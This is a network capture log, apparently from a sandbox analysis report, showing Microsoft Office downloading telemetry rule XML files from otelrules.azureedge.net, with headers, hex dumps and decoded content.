2024-11-10 18:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: b293b438-201e-003f-6baa-306d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184509Z-17df447cdb5jg4kthC1DFWux4n00000009cg000000003wfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:09 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:09 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: ac2c2f15-301e-0020-0960-326299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184509Z-17df447cdb5l865xhC1DFW9n7g00000006b000000000121r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:09 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:09 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:09 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: d4913e6b-901e-0029-0593-31274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184509Z-17df447cdb5vp9l9hC1DFW5hw800000004z000000000942g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:09 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:09 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 12076dc0-c01e-000b-5108-32e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184509Z-15869dbbcc6b2ncxhC1DFWu4ss00000003sg000000000xu5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:09 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184509Z-16547b76f7fdf69shC1DFWcpd00000000cxg00000000c0fg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:10 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 09304928-b01e-0002-240d-321b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184510Z-15869dbbcc6rnr5chC1DFWwtp400000001mg00000000mfr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:10 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 229e582e-901e-0083-26d2-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184510Z-16547b76f7f775p5hC1DFWzdvn0000000cz000000000ex6q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:10 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:10 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184510Z-16547b76f7fj897nhC1DFWdwq40000000cwg000000009gr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:10 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:10 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:10 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: f2dc1747-601e-003e-0c62-323248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184510Z-17df447cdb5zfhrmhC1DFWh330000000096g00000000fgm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:10 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:10 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:10 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 1ec43ba4-f01e-0003-65d2-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184510Z-16547b76f7f9rdn9hC1DFWfk7s0000000cw000000000qcxw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:11 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:11 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 8a5e2199-d01e-0014-3f2b-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184511Z-16547b76f7fx6rhxhC1DFW76kg0000000d100000000085xz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:11 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:11 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:11 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 289a03c5-801e-0015-6466-2ff97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184511Z-15869dbbcc65c582hC1DFWgpv400000006r000000000fatm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:11 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:11 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
